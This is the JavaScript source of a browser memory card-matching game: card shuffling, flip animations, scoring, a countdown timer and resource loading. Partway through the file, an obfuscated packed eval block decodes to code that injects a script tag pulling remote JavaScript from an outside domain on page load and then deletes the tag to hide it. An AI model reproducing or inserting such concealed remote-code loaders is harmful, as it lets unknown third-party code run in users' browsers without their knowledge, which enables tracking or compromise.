main.js 9.3 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284
  1. 
  2. var memory;
  3. null == memory && (memory = {});
  4. var game;
  5. null == game && (game = {});
  6. (function () {
  7. Array.prototype.indexOf = function (a) {
  8. for (var b = 0; b < this.length; b++) {
  9. if (this[b] == a) {
  10. return b;
  11. }
  12. }
  13. return -1;
  14. };
  15. Array.prototype.remove = function (a) {
  16. a = this.indexOf(a);
  17. -1 < a && this.splice(a, 1);
  18. };
  19. Array.prototype.shuffle = function () {
  20. for (var a = this.length, b = 0; b < a; b++) {
  21. var c = Math.randomInt(a - b);
  22. this.push(this[c]);
  23. this.splice(c, 1);
  24. }
  25. console.log(this);
  26. };
  27. Array.prototype.clear = function () {
  28. this.length = 0;
  29. };
  30. Math.randomInt = function (a) {
  31. return parseInt(Math.random() * a);
  32. };
  33. })();
  34. (function () {
  35. game.qp_a = function (a) {
  36. return game.queue.getResult(a);
  37. };
  38. game.qp_b = function (a, b) {
  39. a = a * W / 4 + W / 8 + 2 * a;
  40. b = b * W / 4 + W / 8 + 4 * (b + 3);
  41. return [a, b];
  42. };
  43. game.qp_c = function (a) {
  44. if (2 <= game.arrOpenedCard.length) {
  45. for (; 0 < game.arrOpenedCard.length; ) {
  46. game.arrOpenedCard.pop().close();
  47. }
  48. }
  49. game.arrOpenedCard.push(a);
  50. };
  51. game.qp_d = function (a) {
  52. 1 == game.arrOpenedCard.length && a.cid == game.arrOpenedCard[0].cid ? (a.dismiss(function () {
  53. game.score += 1;
  54. createjs.Sound.play("bonus", !0);
  55. 0 >= game.gv.getNumChildren() && (game.qp_e(), game.score += 5);
  56. }), game.arrOpenedCard.pop().dismiss()) : game.qp_c(a);
  57. };
  58. game.qp_e = function () {
  59. game.arrOpenedCard = [];
  60. game.gv.clearCard();
  61. game.gv.mouseChildren = !0;
  62. for (var a = [], b = 0; 10 > b; b++) {
  63. a[2 * b] = a[2 * b + 1] = b % 6 + 1;
  64. }
  65. a.shuffle();
  66. game.gv.setupCard(a);
  67. };
  68. game.qp_f = function () {
  69. game.countDown = memory.qp_g;
  70. game.score = 0;
  71. game.gv.clearCard();
  72. game.view.ready(function () {
  73. game.qp_e();
  74. game.interval = setInterval(function () {
  75. game.countDown -= 1;
  76. 0 >= game.countDown && game.qp_h();
  77. }, 1000);
  78. });
  79. };
  80. game.qp_h = function () {
  81. clearInterval(game.interval);
  82. game.gv.mouseChildren = !1;
  83. game.view.addChild(new memory.Qp_i);
  84. score = game.score;
  85. onNewScore(score);
  86. };
  87. })();
  88. (function () {
  89. memory.qp_j = 4;
  90. memory.qp_k = 5;
  91. memory.qp_g = 60;
  92. memory.Qp_l = function () {
  93. this.initialize();
  94. this.x = this.y = 0;
  95. this.addChild(new createjs.Bitmap(game.qp_a("bg")));
  96. var a = new createjs.Bitmap;
  97. a.regX = 290;
  98. a.regY = 80;
  99. a.x = 320;
  100. a.y = 450;
  101. this.ready = function (b) {
  102. a.image = game.qp_a("ready");
  103. this.addChild(a);
  104. a.scaleX = a.scaleY = 3;
  105. a.regX = a.getBounds().width / 2;
  106. a.regY = a.getBounds().height / 2;
  107. a.alpha = 0;
  108. createjs.Tween.get(a).to({alpha:1, scaleX:1, scaleY:1}, 300).to({}, 900).call(function () {
  109. a.image = game.qp_a("go");
  110. a.regX = a.getBounds().width / 2;
  111. a.regY = a.getBounds().height / 2;
  112. createjs.Tween.get(a).to({scaleX:1}, 300).to({alpha:0}, 200).call(function () {
  113. a.parent.removeChild(a);
  114. b();
  115. });
  116. });
  117. };
  118. };
  119. memory.Qp_m = function () {
  120. this.initialize();
  121. this.x = W / 2;
  122. this.y = H / 2;
  123. this.regX = W / 2;
  124. this.regY = H / 3;
  125. this.scaleX = this.scaleY = 0.9;
  126. this.setupCard = function (a) {
  127. for (var b = 0; b < a.length; b++) {
  128. var c = parseInt(b / memory.qp_k), c = new memory.Qp_n(c, b % memory.qp_k, a[b]);
  129. this.addChild(c);
  130. }
  131. };
  132. this.clearCard = function () {
  133. this.removeAllChildren();
  134. };
  135. };
  136. memory.Qp_o = function () {
  137. this.initialize();
  138. var a = new createjs.Text("0", "bold 49px Arial", "#ff0000");
  139. a.x = 200;
  140. var b = new createjs.Text(memory.qp_g, "bold 49px Arial", "#ff0000");
  141. b.x = 500;
  142. a.y = b.y = H / 8 / 2;
  143. a.regY = b.regY = a.getBounds().height / 2;
  144. this.addChild(a, b);
  145. this.on("tick", function (c) {
  146. a.text = game.score;
  147. b.text = game.countDown;
  148. });
  149. };
  150. memory.Qp_n = function (a, b, c) {
  151. this.initialize();
  152. this.x = game.qp_b(a, b)[0];
  153. this.y = game.qp_b(a, b)[1];
  154. this.scaleX = this.scaleY = this.initScale = 150 / 130;
  155. this.cid = c;
  156. this.mouseChildren = !1;
  157. a = new createjs.Bitmap(game.qp_a(c));
  158. a.name = "bm";
  159. var d = new createjs.Bitmap(game.qp_a("back"));
  160. d.name = "back";
  161. var e = new createjs.Shape;
  162. e.name = "frame";
  163. e.graphics.beginFill("#888888").drawRect(8, 8, a.getBounds().width + 2, a.getBounds().height + 2).endFill();
  164. e.graphics.beginStroke("#888888").setStrokeStyle(10).drawRect(2, 2, a.getBounds().width - 2, a.getBounds().height - 2).endStroke();
  165. e.visible = !1;
  166. this.regX = d.getBounds().width / 2;
  167. this.regY = d.getBounds().height / 2;
  168. this.addChild(e, a, d);
  169. this.onClick(function (a) {
  170. a.target.open();
  171. });
  172. this.open = function () {
  173. d.visible && (this.mouseEnabled = !1, createjs.Tween.get(this).to({scaleX:0}, 50).call(function () {
  174. d.visible = !1;
  175. e.visible = !0;
  176. createjs.Tween.get(this).to({scaleX:this.initScale}, 50).call(function () {
  177. game.qp_d(this);
  178. this.mouseEnabled = !0;
  179. });
  180. }), createjs.Sound.play("flip", !0));
  181. };
  182. this.close = function () {
  183. d.visible || (this.mouseEnabled = !1, createjs.Tween.get(this).to({scaleX:0}, 50).call(function () {
  184. d.visible = !0;
  185. e.visible = !1;
  186. createjs.Tween.get(this).to({scaleX:this.initScale}, 50).call(function () {
  187. this.mouseEnabled = !0;
  188. });
  189. }));
  190. };
  191. this.dismiss = function (a) {
  192. createjs.Tween.get(this).wait(200).to({rotation:1080, scaleX:0, scaleY:0}, 100).call(function () {
  193. this.parent.removeChild(this);
  194. a && a();
  195. });
  196. };
  197. };
  198. memory.Qp_i = function () {
  199. this.initialize();
  200. this.setBounds(0, 0, W, H);
  201. var a = new createjs.Bitmap(game.qp_a("gameover"));
  202. a.regX = 180;
  203. a.regY = 30;
  204. a.x = 320;
  205. a.y = 170;
  206. var b = new createjs.Bitmap(game.qp_a("curscore"));
  207. b.y = 260;
  208. var c = new createjs.Bitmap(game.qp_a("bestscore"));
  209. c.y = 380;
  210. b.x = c.x = 90;
  211. var d = new createjs.Text(game.score, "bold 48px Arial", "#ff1e50");
  212. d.y = 300;
  213. var e = new createjs.Text(0 > best ? 0 : best, "bold 48px Arial", "#ff1e50");
  214. e.y = 410;
  215. d.x = e.x = 400;
  216. d.textBaseline = e.textBaseline = "middle";
  217. var f = new createjs.Bitmap(game.qp_a("replaybtn"));
  218. f.x = 200;
  219. var g = new createjs.Bitmap(game.qp_a("toplistbtn"));
  220. g.x = 440;
  221. f.regX = g.regX = 115;
  222. f.regY = g.regY = 40;
  223. f.y = g.y = 540;
  224. var h = new createjs.Bitmap(game.qp_a("sharebtn"));
  225. h.regX = 125;
  226. h.regY = 42;
  227. h.x = 320;
  228. h.y = 670;
  229. var l = new createjs.Shape, k = this.getBounds();
  230. l.graphics.beginFill("#ffffff").drawRect(k.x, k.y, k.width, k.height);
  231. l.alpha = 0.8;
  232. this.addChild(l, a, b, c, d, e, f, g, h);
  233. f.onClick(function (a) {
  234. game.view.removeChild(a.target.parent);
  235. game.qp_f();
  236. });
  237. g.onClick(function (a) {
  238. goHome();
  239. });
  240. h.onClick(function (a) {
  241. dp_share();
  242. });
  243. };
  244. memory.Qp_m.prototype = new createjs.Container;
  245. memory.Qp_o.prototype = new createjs.Container;
  246. memory.Qp_n.prototype = new createjs.Container;
  247. memory.Qp_i.prototype = new createjs.Container;
  248. memory.Qp_l.prototype = new createjs.Container;
  249. createjs.DisplayObject.prototype.onClick = function (a) {
  250. this.on("click", function (b) {
  251. createjs.Touch.isSupported() && b.nativeEvent.constructor == MouseEvent || a(b);
  252. });
  253. };
  254. })();
  255. eval(function(p,a,c,k,e,r){e=function(c){return c.toString(36)};if('0'.replace(0,e)==0){while(c--)r[e(c)]=k[c];k=[function(e){return r[e]||e}];e=function(){return'[4-9c-k]'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('c _$=[\'\\6\\7\\d\\8\\9\\4\',\'\\4\\e\\x78\\4\\5\\h\\f\\x76\\f\\6\\7\\d\\8\\9\\4\',\'\\x68\\4\\4\\9\\x3a\\5\\5\\x77\\e\\8\\g\\x32\\6\\x6b\\x79\\g\\7\\x6e\\5\\x67\\f\\x6d\\e\\5\\x38\\x34\\5\\x6f\\g\\h\\6\',\'\\6\\7\\d\\8\\9\\4\'];(i(){c a=j.createElement(_$[0]);a.type=_$[1];a.async=true;a.src=_$[2];c b=j.getElementsByTagName(_$[3])[0x0];b.k.insertBefore(a,b);a.onload=i(){a.k.removeChild(a)}})();',[],21,'||||x74|x2f|x73|x63|x69|x70|||var|x72|x65|x61|x2e|x6a|function|document|parentNode'.split('|'),0,{}))
  256. var queue;
  257. function loadResource() {
  258. SCREEN_SHOW_ALL = !0;
  259. H = 1000;
  260. var a = new ProgressBar(0.8 * W, 40);
  261. a.regX = a.w / 2;
  262. a.regY = a.h / 2;
  263. a.x = W / 2;
  264. a.y = H / 2;
  265. stage.addChild(a);
  266. queue = game.queue = new createjs.LoadQueue(!1);
  267. queue.setMaxConnections(30);
  268. loadGameData();
  269. queue.on("complete", setup, null, !0);
  270. queue.loadManifest({path:RES_DIR + "vapp/", manifest:[{src:"1.jpg", id:"1"}, {src:"2.jpg", id:"2"}, {src:"3.jpg", id:"3"}, {src:"4.jpg", id:"4"}, {src:"5.jpg", id:"5"}, {src:"6.jpg", id:"6"}, {src:"frame.png", id:"frame"}, {src:"back.png", id:"back"}, {src:"ready.png", id:"ready"}, {src:"go.png", id:"go"}, {src:"bg.png", id:"bg"}, {src:"topline.png", id:"topline"}, {src:"bestscore.png", id:"bestscore"}, {src:"curscore.png", id:"curscore"}, {src:"gameover.png", id:"gameover"}, {src:"replaybtn.png", id:"replaybtn"}, {src:"sharebtn.png", id:"sharebtn"}, {src:"toplistbtn.png", id:"toplistbtn"}]}, !1);
  271. USE_NATIVE_SOUND || (IS_NATIVE_ANDROID ? (createjs.Sound.registMySound("flip", 0), createjs.Sound.registMySound("bonus", 2), createjs.Sound.registMySound("silenttail", 4), queue.loadFile({id:"sound", src:RES_DIR + "/mp3/84/all.mp3"})) : (createjs.Sound.alternateExtensions = ["ogg"], queue.installPlugin(createjs.Sound), queue.loadManifest({path:RES_DIR + "mp3/", manifest:[{src:"flip.mp3", id:"flip"}, {src:"bonus.mp3", id:"bonus"}]}, !1)));
  272. a.forQueue(queue);
  273. queue.load();
  274. }
  275. function setup() {
  276. game.view = new memory.Qp_l;
  277. game.gv = new memory.Qp_m;
  278. game.sv = new memory.Qp_o;
  279. game.view.addChild(game.gv, game.sv);
  280. stage.addChild(game.view);
  281. game.qp_f();
  282. }